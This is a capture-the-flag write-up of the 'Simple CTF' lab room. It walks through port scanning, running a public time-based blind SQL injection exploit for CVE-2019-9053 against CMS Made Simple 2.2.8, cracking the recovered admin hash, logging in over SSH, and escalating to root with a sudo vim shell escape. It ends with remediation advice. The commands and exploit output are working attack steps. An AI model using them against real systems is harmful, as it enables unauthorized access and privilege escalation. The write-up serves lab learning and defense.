← Back to all writeups
CTFroomEasyOS: Linux (Ubuntu)Target IP: 10.10.114.77

CTFroom: Simple CTF — Time-Based Blind SQLi & Vim Sudo Escape

Discovering CMS Made Simple 2.2.8, executing a time-based blind SQL injection exploit (CVE-2019-9053) to exfiltrate administrative password hashes, and escaping a restricted sudo vim session to achieve root privilege.

Published: 2026-03-27·Est. 8 min read·Author: GomezGani Shaba
CMS Made SimpleCVE-2019-9053Blind SQLiHashcatVim EscapeLinux PrivEsc

Challenge Overview

Simple CTF is an essential room for mastering web application vulnerability research and interactive sudo breakouts. It showcases identifying specific CMS versions, extracting database information character-by-character via time-based SQL injection, and executing shell commands from within interactive text editors.


Phase 1: Port Scanning & Service Discovery

bashterminal / script
nmap -sV -sC -p- --min-rate 4000 10.10.114.77

Discovered services:

  • Port 21: vsftpd 3.0.3 (Anonymous enabled)
  • Port 80: Apache 2.4.18
  • Port 2222: OpenSSH 7.2p2 (SSH running on non-standard port 2222)
  • Running directory enumeration against port 80:

    bashterminal / script
    gobuster dir -u http://10.10.114.77/ -w /usr/share/wordlists/dirb/common.txt

    Discovered path: /simple/ — leading to a CMS Made Simple installation.

    Checking footer notes and /simple/doc/CHANGELOG.txt:

    CMS Made Simple — Version 2.2.8

    Phase 2: Exploiting CVE-2019-9053 (Time-Based Blind SQLi)

    CMS Made Simple version 2.2.8 is vulnerable to an unauthenticated time-based blind SQL injection in the m1_idlist parameter of the News module (CVE-2019-9053).

    Because the database does not return query results in the HTTP response, the exploit infers each character of the database credentials by measuring sleep delays:

    pythonterminal / script
    # Time-based blind payload logic:
    # IF(SUBSTRING((SELECT password FROM cms_users LIMIT 1), 1, 1) = 'a', SLEEP(1), 0)

    We run the public Python exploit with the rockyou.txt wordlist:

    bashterminal / script
    python3 exploit.py -u http://10.10.114.77/simple/ --crack -w /usr/share/wordlists/rockyou.txt

    Exploit output:

    textterminal / script
    [+] Salt for password found: 1dac0d92e9fa6bb2
    [+] Username found: mitch
    [+] Email found: admin@admin.com
    [+] Password hash: 0c01f4468bd75d7a84c7eb73846e8d96
    [+] Password cracked: secret

    Phase 3: SSH Login on Non-Standard Port

    We log in via SSH using the cracked credentials on port 2222:

    bashterminal / script
    ssh mitch@10.10.114.77 -p 2222
    Password: secret
    mitch@simplectf:~$ whoami
    mitch

    User flag recovered from /home/mitch/user.txt.


    Phase 4: Sudo Vim Breakout to Root

    We inspect sudo privileges:

    bashterminal / script
    sudo -l

    Output:

    textterminal / script
    User mitch may run the following commands on simplectf:
        (root) NOPASSWD: /usr/bin/vim

    User mitch can run /usr/bin/vim as root without a password.

    Vim allows executing external shell commands directly from command mode (:!). Because Vim runs as root, any command executed through its prompt inherits root privileges:

    bashterminal / script
    sudo vim -c ':!/bin/sh'

    Or inside an active Vim editor:

    vimterminal / script
    :set shell=/bin/sh
    :shell

    Execution:

    textterminal / script
    # whoami
    root
    # id
    uid=0(root) gid=0(root) groups=0(root)

    We are root. Root flag recovered from /root/root.txt.


    Defense Remediation

  • Upgrade CMS Made Simple: Upgrade to version 2.2.10+ where database queries use prepared statements.
  • Never Grant Sudo on Interactive Editors: Editors (vim, nano, less, man) have documented shell escape sequences. Use restricted alternatives like sudoedit instead of sudo vim.